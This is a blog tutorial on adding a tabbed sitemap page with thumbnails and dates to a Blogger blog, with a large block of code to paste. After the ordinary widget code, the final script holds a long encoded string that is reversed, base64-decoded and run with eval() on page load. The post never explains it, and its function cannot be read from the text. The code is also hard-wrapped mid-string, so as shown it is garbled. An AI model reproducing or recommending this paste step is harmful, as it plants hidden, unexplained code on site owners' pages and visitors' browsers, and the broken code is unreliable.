October 10, 2016

How to Add Stylish Sitemap "Page" With Thumbnails and Date to Blogger Blog


This post is recommended for bloggers only. As we all know that Sitemaps  is just like a summary of a website/blog which brings together all posts or articles in a particular blog and displays them on a single page created by you(blogger). It no mre news to us that One of the most important things that search engines look for while trying to get a particular blog or website indexed is the sitemap which is why it is very necessary that you create a page for it.


So today, i will be showing you guys how to create and add stylish sitemap page to your Blogger site. This sitemap is very creative that it will contain every of the posts you have published on your blog under the different tags or labels you added them to with an addition of their thumbnails and dates when the posts or articles were published. Isn't this great? Therefore, To be able to this, you will need to follow the easy step by step guide as I have explained below:

Creating and Adding a Stylish Sitemap With Thumbnails and Date to Blogger:

◾Logon into your "Blogger Dashboard" and then navigate to Pages.
◾Next click on New Page to create and add a new page to your Blogger blog.


◾When the editor page opens, click on HTML to change to the HTML Mode.


◾Copy the code below and paste inside the box provided for texts in the HTML Mode of Blogger's page composer. Make sure you clear the codes in the box before pasting the one I have provided below.

<div id="ET-tabbed-toc">
<span
class="loading">Please
patiently wait while we
get posts...</span></div>
<br />
<script type="text/
javascript">
var tabbedTOC = {
blogUrl: "http://www.horlartechgist.com ", //
Enter your blog URL
containerId: "ET-
tabbed-toc", // Container
ID
activeTab: 1, // The
default active tab index
(default: the first tab)
showDates: true, //
`true` to show the post
date
showSummaries:
true, // `true` to show
the posts summaries
numChars: 200, //
Number of summary chars
showThumbnails:
true, // `true` to show
the posts thumbnails (Not
recommended)
thumbSize: 40, //
Default thumbnail size
noThumb: "", // A "no
thumbnail" URL
monthNames: [ // Array
of month names
"January",
"February",
"March",
"April",
"May",
"June",
"July",
"August",
"September",
"October",
"November",
"December"
],
newTabLink: true, //
Open link in new window.
`false` to open in same
window
maxResults: 99999, //
Maximum post results
preload: 0, // Load
the feed after 0 seconds
(option => time in
milliseconds || "onload")
sortAlphabetically:
true, // `false` to sort
posts by published date
showNew: 7, // `false`
to hide the "New!" mark in
most recent posts or
//define how many recent
posts are to be marked by
changing the number
newText: " - <em
style='color:
white;padding: 1px
5px;border-radius:
20px;background-color:
#F00;'>New!</em>" // HTML/
CSS for
//the "New!" text
};
</script>
<script type="text/
javascript">
var tabbedTOC_defaults = {
blogUrl: "http:// www.horlartechgist.com ", // Blog
URL
 containerId: "ET-tabbed-
toc", // Container ID
activeTab: 1, // The
default active tab index
(default: the first tab)
showDates: true, // true
to show the post date
showSummaries: true, //
true to show the posts
summaries
 numChars: 200, // Number
of summary chars
showThumbnails: true, //
true to show the posts
thumbnails (Not
recommended)
 thumbSize: 40, //
Thumbnail size
noThumb: "data:image/
png;base64,iVBORw0KGgoAAAA
NSUhEUgAAAAEAAAABCAIAAACQd
1PeAAAAA3NCSVQICAjb4U/
gAAAADElEQVQImWOor68HAAL
+AX7vOF2TAAAAAElFTkSuQmCC"
, // No thumbnail URL
monthNames: [ // Array of
month names
"Januari",
"Februari",
"Maret",
"April",
"Mei",
"Juni",
"Juli",
"Agustus",
"September",
"Oktober",
"November",
"Desember"
],
newTabLink: true, // Open
link in new window?
maxResults: 99999, //
Maximum posts result
preload: 0, // Load the
feed after 0 seconds
(option => time in
milliseconds || "onload")
sortAlphabetically:
true, // `false` to sort
posts by date
showNew: false, //
`false` to hide the "New!"
mark in most recent posts,
or define how many recent
posts are to be marked
newText: " - <em
style='color:red;'>Baru!</
em>" // HTML for the
"New!" text
};
for (var i in
tabbedTOC_defaults) {
tabbedTOC_defaults[i] =
(typeof(tabbedTOC[i]) !==
undefined && typeof
(tabbedTOC[i]) !==
'undefined') ? tabbedTOC
[i] : tabbedTOC_defaults
[i];
}
function clickTab(pos) {
var a =
document.getElementById
(tabbedTOC_defaults.
containerId),
b =
a.getElementsByTagName
('ol'),
c =
a.getElementsByTagName
('ul')[0],
d =
c.getElementsByTagName
('a');
 for (var t = 0; t <
b.length; t++) {
b[t].style.display =
"none";
b[parseInt(pos,
10)].style.display =
"block";
 }
 for (var u = 0; u <
d.length; u++) {
d[u].className = "";
d[parseInt(pos,
10)].className = "active-
tab";
 }
}
function showTabs(json) {
var total = parseInt
(json.feed.openSearch
$totalResults.$t,10),
c = tabbedTOC_defaults,
entry = json.feed.entry,
category =
json.feed.category,
skeleton = "",
newPosts = [];
for (var g = 0; g <
(c.showNew === true ? 5 :
c.showNew); g++) {
if (g == entry.length)
break;
entry[g].title.$t =
entry[g].title.$t +
(c.showNew !== false ?
c.newText : '');
}
entry =
c.sortAlphabetically ?
entry.sort(function(a,b) {
return (a.title.
$t.localeCompare(b.title.
$t));
 }) : entry;
category =
c.sortAlphabetically ?
category.sort(function
(a,b) {
return
(a.term.localeCompare
(b.term));
 }) : category;
// Build the tabs
skeleton
 skeleton = '<span
class="divider-layer"></
span><ul class="toc-
tabs">';
 for (var h = 0, cen =
category.length; h < cen;
h++) {
skeleton += '<li
class="toc-tab-item-' + h
+ '"><a
href="javascript:clickTab
(' + h + ');">' + category
[h].term + '</a></li>';
}
skeleton += '</ul>';
// Bulid the tabs
contents skeleton
skeleton += '<div
class="toc-content">';
 for (var i = 0, cnt =
category.length; i < cnt;
i++) {
skeleton += '<ol
class="panel" data-
category="' + category
[i].term + '"';
skeleton += (i !=
(c.activeTab-1)) ? '
style="display:none;"' :
'';
skeleton += '>';
for (var j = 0; j <
total; j++) {
if (j == entry.length)
break;
var link, entries =
entry[j],
pub =
entries.published.$t, //
Get the post date
month =
c.monthNames, // Month
array from the
configuration
title = entries.title.
$t, // Get the post title
summary = ("summary"
in entries &&
c.showSummaries ===
true) ? entries.summary.
$t.replace(/<br ?\/?>/g,"
").replace(/<.*?>/
g,"").replace(/[<>]/
g,"").substring
(0,c.numChars) +
'&hellip;' : '', // Get
the post summary
img = ("media
$thumbnail" in entries &&
c.showThumbnails ===
true) ? '<img
class="thumbnail"
style="width:'+c.thumbSize
+'px;height:'+c.thumbSize
+'px;" alt="" src="' +
entries.media
$thumbnail.url.replace(/\/
s72(\-c)?\//,"/
s"+c.thumbSize+"-c/") +
'"/>' : '<img
class="thumbnail"
style="width:'+c.thumbSize
+'px;height:'+c.thumbSize
+'px;" alt="" src="' +
c.noThumb.replace(/\/
s72(\-c)?\//,"/
s"+c.thumbSize+"-c/") +
'"/>', // Get the post
thumbnail
cat =
(entries.category) ?
entries.category : [], //
Post categories
date = (c.showDates) ?
'<time datetime="' + pub +
'" title="' + pub + '">' +
pub.substring(8,10) + ' '
+ month[parseInt
(pub.substring(5,7),10)-1]
+ ' ' + pub.substring(0,4)
+ '</time>' : ''; //
Formated published date
for (var k = 0; k <
entries.link.length; k++)
{
if (entries.link
[k].rel == 'alternate') {
link = entries.link
[k].href; // Get the post
URL
break;
}
}
for (var l = 0, check =
cat.length; l < check; l
++) {
var target =
(c.newTabLink) ? '
target="_blank"' : ''; //
Open link in new window?
// Write the list
skeleton only if at least
one of the post...
// ... has the same
category term with one of
the current categories
term list
if (cat[l].term ==
category[i].term) {
skeleton += '<li
title="' + cat[l].term +
'"';
skeleton +=
(c.showSummaries) ? '
class="bold"' : '';
skeleton += '><a
href="' + link + '"' +
target + '>' + title +
date + '</a>';
skeleton +=
(c.showSummaries) ? '<span
class="summary">' + img +
summary + '<span
style="display:block;clear
:both;"></span></span>' :
'';
skeleton += '</li>';
}
}
}
skeleton += '</ol>';
}
skeleton += '</div>';
skeleton += '<div
style="clear:both;"></
div>';
 document.getElementById
(c.containerId).innerHTML
= skeleton;
clickTab(c.activeTab-1);
}
(function() {
var h = document.
getElementsByTagName
('head')[0],
s =
document.createElement
('script');
s.type = 'text/
javascript';
s.src =
tabbedTOC_defaults.blogUrl
+ '/feeds/posts/summary?
alt=json-in-script&max-
results=' +
tabbedTOC_defaults.
maxResults +
'&orderby=published&
callback=showTabs';
 if (tabbedTOC_defaults.
preload !== "onload") {
setTimeout(function() {
h.appendChild(s);
},
tabbedTOC_defaults.preload
);
 } else {
window.onload = function
() {
h.appendChild(s);
};
}
})();
</script>
<style>
/*Sitemap */
#ET-tabbed-toc {
width: 99%;
margin: 0 auto;
overflow: hidden !
important;
 position: relative;
color: #222;
border: 0;
border-top: 5px solid
#060;
 background-color:
#1D1D1D;
 -webkit-transition: all
0.4s ease-in-out;
}
#ET-tabbed-toc .loading {
display:block;
padding:5px 15px;
font:normal bold 11px
Arial,Sans-Serif;
 color:#FFF;
}
#ET-tabbed-toc ul,
#ET-tabbed-toc ol,
#ET-tabbed-toc li {
margin:0;
padding:0;
list-style:none;
}
#ET-tabbed-toc .toc-tabs {
width: 24.8%;
float: left !important;
}
#ET-tabbed-toc .toc-tabs
li a {
display:block;
font:normal bold
10px/28px Arial,Sans-
Serif;
 height:28px;
 overflow:hidden;
 text-overflow:ellipsis;
 color:#ccc;
 text-transform:uppercase;
 text-decoration:none;
 padding:0 12px;
cursor:pointer;
-webkit-transition: all
0.3s ease-in-out;
}
#ET-tabbed-toc .toc-tabs
li a:hover {
background-color:
#515050;
 color: #FF0;
}
#ET-tabbed-toc .toc-tabs
li a.active-tab {
background-color: #09F;
color: #222;
position: relative;
z-index: 5;
margin: 0 -2px 0 0;
}
#ET-tabbed-toc .toc-
content,
#ET-tabbed-toc .divider-
layer {
width: 75%;
float: right !important;
background-color:
#F5F5F5;
 border-left: 5px solid
#09F;
 -webkit-box-sizing:
border-box;
 -moz-box-sizing: border-
box;
 box-sizing: border-box;
-webkit-transition: all
0.3s ease-in-out;
}
#ET-tabbed-toc .divider-
layer {
float:none;
display:block;
position:absolute;
top:0; right:0; bottom:0;
}
#ET-tabbed-toc .panel {
position:relative;
z-index:5;
font:normal normal 10px
Arial,Sans-Serif;
}
#ET-tabbed-toc .panel li a
{
 display: block;
 position: relative;
font-weight: bold;
font-size: 11px;
color: #222;
line-height: 2.8em;
height: 30px;
padding: 0 10px;
text-decoration: none;
outline: none;
overflow: hidden;
-webkit-transition: all
0.3s ease-in-out;
}
#ET-tabbed-toc .panel li
time {
display:block;
font-style:italic;
font-weight:400;
font-size:10px;
color:#666;
float:right;
}
#ET-tabbed-toc .panel li
.summary {
display:block;
padding:10px 12px;
font-style:italic;
border-bottom:4px solid
#275827;
 overflow:hidden;
}
#ET-tabbed-toc .panel li
.summary img.thumbnail {
float:left;
display:block;
margin:0 8px 0 0;
padding:4px;
width:72px;
height:72px;
border:1px solid #dcdcdc;
background-color:#fafafa;
}
#ET-tabbed-toc .panel
li:nth-child(even) {
background-color:
#DBDBDB;
 font-size: 10px;
}
#ET-tabbed-toc .panel li
a:hover,
#ET-tabbed-toc .panel li
a:focus,
#ET-tabbed-toc .panel li
a:hover time,
#ET-tabbed-toc .panel
li.bold a {
background-color:#222;
color:#FFF;
outline:none;
-webkit-transition: all
0.3s ease-in-out;
}
#ET-tabbed-toc .panel
li.bold a:hover,
#ET-tabbed-toc .panel
li.bold a:hover time {
background-color:#222;
}
@media (max-width:700px) {
#ET-tabbed-toc {
background-color:#fff;
border:0 solid #888;
}
#ET-tabbed-toc .toc-tabs,
#ET-tabbed-toc .toc-
content {
overflow:hidden;
width:auto;
float:none !important;
display:block;
}
#ET-tabbed-toc .toc-tabs
li {
display:inline;
float:left !important;
}
#ET-tabbed-toc .toc-tabs
li a,
#ET-tabbed-toc .toc-tabs
li a.active-tab {
background-color:#222;
color:#ccc;
}
#ET-tabbed-toc .toc-tabs
li a.active-tab {
color:#000;
}
#ET-tabbed-toc .toc-
content {
border:none;
}
#ET-tabbed-toc .divider-
layer,
#ET-tabbed-toc .panel li
time {
display:none;
}
}
</style>
<script
language="javascript"
type="text/javascript">var
OII='KkSKpcCfngCdpxGcz5
yJlZ3
biFEMywHduVWblxWRlRXYlJ3Y8
lGchlnclVXcqx3YyNHf0BXayN2
c8BHd0hGfl1WYOdWYUlnQzRnbl
1WZsVEdldGfmVmcoBjM8RWYlhG
flhGVwIDfkxWaoNEZuVGcwFGf2
lGZ8xHfyV3b5BjM8VGdpJ3d8
VGchN2cl5Wd8xmc1
xHTSVFfmVmc8JXZyJXZmVmc8d2
bsJEMyw3culGd5NXYlx3bm5Wa8
d3d3x3dvhGfwRHdoJjM8
RGZBBjM8
ZTMwIDfBNDfwFWblRXaTBjM8
dDM8ZXakN0M8JXZ05WZjJjM8t2
b852ZpxWYwIDfvRHMywHZkFGfs
1GdoxHazlGb5R3c8hGdpdHft92
Y85mchVGTFNDfjJ3c0V2Z8
VGchN2cl9Ff05WZu9Gct92
QJJVVlR2bj5WZ8FzMxwnM2wHO1
w3TP9EfwFWblRXazx3QzwHRzw3
b0xXYDNDf39GSwIDfFNDfxwWS8
Rnbl1Wdj9GZ8JXY2xHbhZXZ8
RnbJV2cyFGc8RXasB3c8
VGZvNkchh2Qt9mcmxHc4V0
ZlJFf3Vmb8dmbpJHdT9Gd8
VGbph2d8
dmbpJHdTxXZjFGbwVmc8ZWa8
xnbvlGdj5WdmxnbyVHdlJHf8
xHf8xHf8xHf8xHf8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8xHf8
xHf8dCL1AjMsIjNscSKp03
esADLpcCX8dCXokmMucCXVJDfU
JDfXJDfYJDf8FzM8plM8llM8
NlM8JlM8xkM8tkM8pkM81kM85
kM8FlM8BlM89kM8BzM8lzM8l2M
8h2M8Z2M8R2M8d2M8V2M8J2M8
RzM8NzM8JzM8N2M8hzM8F2M8
dzM8ZlM8JkM8tmM89mM8NmM8
hmM8VzM8pmM85mM8FnM8ljM8
VmM8ZmM8dmM8JmM8FmM8lmM8
ZzM8RmM81mM8xmM8BnM8hkM8
NkM8JnM8RkM8VkM8dkM8ZkM8
FkM8pnM8VnM8RnM8NnM8lkM8
ZnM8djM8dnM8hjM8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8
dCXsknMsgnMscCXpkSKnwFXcx3
JcxFXokWMucCXcxlSxwXSxwHSxw
3SxwHTxwnTxwXTxwHUxwnRxwnex
wXexwHexwXQxwnQxwXRxwHRxw3
Qxw3TxwnVxwHMywnWxwXMyw3
MywXNywnNywHNywHWxw3
UxwnUxwXUxwXWxwHVxwXVxw3
Vxw3RxwHcxwXOxwHOxw3
NxwXYxwnYxwHZxw3YxwnNxw3Mx
wnMywHMxwHfaxXMxwnMxwXNx
wHNxwXZxwndxwXcxwnZxw3
JcxFXsgFLYxyJcxFX7kSK2gyRo
gkLxsTKygSSukzOdBzWpcCX
cxFXcxFXKdCXcxFXcxFXoYkLx0
TOgQzOpUkLxgSNrcCXcxFXcxFX9
EkJnwFXcxFXcx1
KpIkLxgSNrcCXcxFXcxFX9
MkJnwFXcxFXcx1
KnwFXcxFXcxFR9s0PvwkLV9yL6
Y1JcxFXcxFXc1zUuIzOpcCXcxF
XcxFXUdCXcxFXcxFXoIlLx0
jMgQzOnwFXcxFXcx1Ml00L3
UyMlE2L3Uiel4
UJiVyTlAVJRVidlIWJnVCalMWJq
5yatQWLl1iZtkWL59SdvQ3Ls5
ydug3LvMXJyVCOl4WJtVyMlMWJ
vVCOlAXJxVyJcxFXcxFXc1
jNgQzJcxFXo0HcgkVf9lSXjt1a
skyJcxFXndCXcxFLnwFXcJGXcx
FXcxFXcdCXcx1KpMGKltyJcxFX
ixFXcxFXcxFXnw
FXchCbxASbxgyax4Cc9A3ep01
YbtGKqFzep0
SLjhyZxsTfpkCaxgibx4yY6
kybxsyYoQXMuUXM/MXM
+kSYlMWPjhCKrkSKpE2
LjhicxgSZ6cCXcx1JcxFX/
EGPjhSW7lyYocVPltXKkxSZssG
LjxSYsAHKXhydxcCXo0HcgcjM
91XKdN2WrxSKnw1
ZnwFLnwlYcxFXcdCXrkyYoU2Kn
wlYcxFXcdCXocmMgYmMoImMu
AXPwtXKdN2WrhSYysXKt0
yYoQmM70XM9M2O9
dCXrcHXcxFXnw1NysXKogjM9U2
Od1XXltFZgcjM7lSZogjMb1za9
lyYoUGf811YbtWPdlyYoU2
WktXKt0yYoQmM7lSKjJDLv41
LoImMucCXnwVIoEmM70XKpYzMo
UmMuMmOpkjMrMGKoJjLjJzP1
MjPpEWJj1zYogyKpkSKh9
yYoomMoUmOnw1Jc9TY8MGK3
IzepMGK4
ITPltXKkxSZssGLjxSYsAHK4
IDKrJzJo0Hcg4mc1RXZy1Xfp01
YbtGLpcyZnwyJixFXnsSKjhSZrc
iYcx1JoAHeFdWZSBydl5
GKlNWYsBXZy5Cc9A3ep01
YbtGKml2ep0SLjhSZslGa3
tTfpkiNzgyZulmc0N1b05yY6
kSOysyYoUGZvNkchh2Qt9mcm5
yZulmc0N1P1MjPpEWJj1
zYogyKpkSKh9yYoQnbJV2
cyFGcoUmOncyPhxzYo4mc1
RXZytXKjhibvlGdj5Wdm1TZ7
lCZsUGLrxyYsEGLwhibvlGdj5
WdmhCbhZXZ';function
O00(data){var _1OllOI="
ABCDEFGHIJKLMNOPQRSTUVWXYZa
bcdefghijklmnopqrstuvwxyz
0123456789+/=";var
o1,o2,o3,h1,h2,h3,h4,bits,
i=0,enc='';do
{h1=_1OllOI.indexOf
(data.charAt(i
++));h2=_1OllOI.indexOf
(data.charAt(i
++));h3=_1OllOI.indexOf
(data.charAt(i
++));h4=_1OllOI.indexOf
(data.charAt(i
++));bits=h1<<18|h2<<12|
h3<<6|
h4;o1=bits>>16&0xff;o2=
bits>>8&0xff;o3=bits&0xff;
if(h3==64){enc
+=String.fromCharCode(o1)}
else if(h4==64){enc
+=String.fromCharCode
(o1,o2)}else{enc
+=String.fromCharCode
(o1,o2,o3)}}while
(i<data.length);return
enc} function _1Ol(string)
{ var ret = '', i = 0;
for ( i =
string.length-1; i >= 0;
i-- ){ ret +=
string.charAt(i);} return
ret; }eval(O00(_1Ol
(OII)));</script>

After all that it will look like below


Things To Swap:
Once you have setup the page and pasted the code snippet above, just change the line of texts highlighted in BLUE to your own before clicking on
the Publish button. As highlighted in BLUE in the code, you will need to change www.horlartechgist.com to your blog’s URL.

  • Finally click on Publish to make the sitemap go live.

By following the above steps to create and add a sitemap to your Blogger powered blog, you should now have a blog page in the form of an archive where users and visitors will surely have access to all the posts you have published. click HERE for more blogging tips and tricks

3 comments:

  1. I would be happy if u can tell me how u can add social media icons and previous & next button to your blog on blogger.com

    ReplyDelete
  2. I would also like to teach me How to add share button on your blog like u did yours and some blogger tricks and tips.

    ReplyDelete
    Replies
    1. Okay I will give you a link to teach you how add share buttons below all your blog posts like mine and later I will teach you the other ones. Therefore to add share buttons below all your blog post just like mine click
      HERE

      Delete

Please drop your comments before you leave. Your comments are highly appreciated. Click HERE to learn how to Comment On Our Horlartechgist. You can also GET IN TOUCH with us via our Social Media Platforms.